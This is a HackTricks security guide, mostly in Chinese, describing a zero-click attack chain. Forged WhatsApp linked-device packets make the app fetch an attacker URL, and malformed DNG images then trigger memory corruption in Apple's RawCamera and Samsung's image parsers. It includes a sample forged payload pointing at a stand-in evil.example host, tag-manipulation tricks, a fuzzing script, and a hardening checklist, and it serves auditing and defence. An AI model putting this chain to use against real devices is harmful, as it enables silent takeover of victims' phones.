Zero-click Messaging → Image Parser Chains
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
TL;DR
- 将 messaging app multi-device/companion protocols 当作远程控制通道:即便协议字段被假定来自受信任设备,它们仍可能由用户控制,并且常常可以直接重放到受害者以在0 用户交互下加载任意内容。
- 一旦任何应用被强制去获取不受信任的媒体,就应把目标转向 shared OS media pipeline(iOS/macOS 上的 RawCamera,Android OEM 构建上的 vendor parsers),利用畸形文件从沙箱中跳出。
- 本文讨论的基于 DNG 的 RawCamera 和 Samsung 解析器漏洞是具体示例,但完整技术是一个可重用的蓝图,用于串联 逻辑缺陷 → 图像解析器内存损坏 → 完整设备妥协。
Remote content loading via WhatsApp linked-device commands
Attack surface recap
WhatsApp 的 “linked devices” 架构通过加密的结构化协议消息在主手机和每个 companion(桌面、平板、第二部手机)之间保持同步。每条消息编码:
- Device metadata(设备 ID、能力、功能标志)。
- Action descriptors(例如,同步聊天、获取缩略图、呈现远程内容)。
- Arbitrary parameters,例如 URI、MIME 提示、分页键等。
在 Apple 客户端上,处理这些 linked-device 控制包的处理程序隐式信任已经完成配对,因此高影响字段(例如 resource_url、open_media、sync_snapshot)仅做了最小验证。恶意的 companion 消息因此可能:
- 被路由到任何由其电话号码标识的账号。
- 在传输栈(Noise protocol + WhatsApp protobuf framing)中存活,因为接收方从未验证发送方是否为真正配对的设备。
- 到达 iOS 客户端,在那里易受攻击的代码路径会自动触发对攻击者 URL 的后台 HTTP(S) 请求,并在隐藏的 WebView/media renderer 中解析响应。
Practical workflow for auditors
- Capture legitimate linked-device traffic. 附加调试器或 Frida 脚本到桌面/iOS 客户端并 hook 解密后处理程序(例如
LinkedDevicesSyncHandler::processAction)。转储解码后的 protobuf 有效负载以了解可用的 action 类型和参数。 - Identify fields that cross trust boundaries. 任何携带
http_url、thumbnail_uri、download_url或render_html参数且没有严格允许列表的 action 都是远程内容原语的候选项。 - Forge a malicious action. 复用观测到的 protobuf 模式,仅修改攻击者可控的字段。下面显示了相关逻辑结构的简化 JSON 视图(实际传输是 protobuf/Noise,但语义字段相匹配):
{
"op": "sync_action",
"device_id": "<attacker-companion>",
"payload": {
"target": "content_sync",
"resource_url": "https://evil.example/payload.html",
"media_type": "image/dng",
"flags": ["background_fetch", "render_inline"]
}
}
- Deliver to the victim. 通过同一 WhatsApp 服务重放精心构造的数据包,该服务通常转发 linked-device 流量(例如使用修改过的桌面客户端或重用你的攻击者账号密钥的自定义 Noise 客户端)。因为 CVE-2025-55177 未能将操作绑定到已认证设备,目标 iOS/macOS 客户端会接受该消息并在无任何 UI 的情况下立即获取攻击者 URL。
- Instrument the fetch. 观察被强制发起的 HTTP(S) 请求和内部渲染器 (WKWebView/ImageIO)。此时你已经在 WhatsApp 内部获得了一个 zero-click web delivery primitive。
Weaponizing auto-decoded DNGs against RawCamera
一旦攻击者控制了 WhatsApp 加载的内容,下一个目标就是让 iOS/macOS 使用 RawCamera 框架解析一个恶意的 Digital Negative (DNG) 文件。任何解析为 .dng 的嵌入 <img>/CSS URL 都会被传递到系统图像流水线,调用 RawCamera,即便 WhatsApp 本身并未显式处理 DNG。
Triggering RawCamera from WhatsApp
- Serve HTML that references the DNG via multiple mechanisms (e.g.,
<img src="evil.dng">, CSSbackground-image: url('evil.dng'), or<picture>sources) to cover different render paths. - Ensure correct MIME (
image/x-adobe-dng) and small previews so the loader does not bail early because of size heuristics. - The iOS media sandbox will stream the file into RawCamera via
CGImageSourceCreateWithURL, eventually hitting the vulnerable decoder.
Crafting memory-corrupting DNGs (CVE-2025-43300 style)
复现的漏洞依赖于不一致的元数据,使得缓冲区分配与实际像素读取不同步。典型的杠杆包括:
- Tile/strip descriptors: 将
TileByteCounts/StripByteCounts设为合理值,但将TileOffsets增大到指向已分配缓冲区之外。 - Sub-IFD chains: 嵌入具有冲突
ImageWidth/ImageLength和BitsPerSample的次级图像,使 RawCamera 计算出较小的缓冲区,而后续阶段则信任攻击者控制的尺寸。 - Opcode metadata: 操纵
OpcodeList3条目,使每行处理在攻击者选择的索引上运行。
A basic mutation harness to hunt for such corruptions can be built around macOS, since the same RawCamera code ships on macOS/iOS/iPadOS:
#!/bin/bash
set -e
for sample in corpus/*.dng; do
radamsa "$sample" > /tmp/poc.dng
/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
mv /tmp/poc.dng crashes/$(date +%s).dng
}
done
每次在 RawCamera 中的 crash 都会给你一个新的 primitive。公开的 PoC 实现了一个干净的 越界读/写(out-of-bounds read/write),其可靠性足以在 iPhone、iPad 和 Mac 上造成 WhatsApp 崩溃。
构建 0-click 链
- Linked-device 数据包 → 强制 WhatsApp 在无需任何点击的情况下获取
https://evil.example/payload.html。 - Payload HTML → 静默引用
evil.dng,保证 OS 媒体栈调用 RawCamera。 - 恶意 DNG → 滥用构造的 tag 触发 RawCamera OOB 并崩溃/控制图像解码器。
- 破坏后利用 → 添加 info-leak gadgets(例如滥用可预测的堆元数据)并部署 ROP/JOP 链以突破 WhatsApp 沙箱并进入更有权限的上下文。
因为每一步都是自动的,攻击者只需要受害者的电话号码。目标设备上不会显示通知、横幅或提示。
Samsung 厂商图像解析器的相似性
Samsung 关于 CVE-2025-21043 的公告确认,他们的专有图像解析栈(Gallery、Messages 使用的,且也会间接被 WhatsApp 使用)存在可通过不受信任媒体触及的 越界写。利用方法与 Apple 链类似:
- 找到一个自动预览向量(聊天缩略图、通知预览、共享面板),该向量使用 Samsung 的
libimagecodec/libOneUI_ImageDecoder库解析攻击者文件。 - 对 OEM 库更新做差异比对或用畸形的 RAW/DNG 文件对解析器进行 fuzz,直到看到类似 RawCamera 崩溃的内存破坏(堆元数据被篡改、寄存器控制等)。
- 通过任何已自动加载内容的渠道投递构造文件(例如同样的 linked-device primitive、WhatsApp 预览抓取器,或 Android 的 push-to-talk 波形预览)。
一旦厂商解析器存在 OOB 写,结合 WhatsApp 的自动抓取 primitive 就能在 Samsung 设备上形成另一个 zero-click 链。
测试与加固清单
- 协议验证:对每个 linked-device 操作执行严格的 allow-list。请求抓取/渲染的配套命令必须证明设备配对(对 payload 签名)且 URL 应匹配 allow-list 或已签名的数据块。
- 传输重放对策:将每个操作绑定到设备特有密钥,并拒绝发送者密钥未知的包,即便 protobuf 语法正确。
- 媒体流水线限制:高层应用应仅允许经批准的 MIME 类型,并在非必要时明确拒绝 RAW/DNG。
- 解析器模糊回归测试:保留一组畸形 RAW/DNG 文件,并在每次更新后对 RawCamera/厂商解码器进行测试。
- 崩溃分诊自动化:在模糊测试设备上附加
DYLD_INSERT_LIBRARIESsanitizer 或 MTE,以在攻击者之前捕获微妙的 OOB 情况。
References
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks

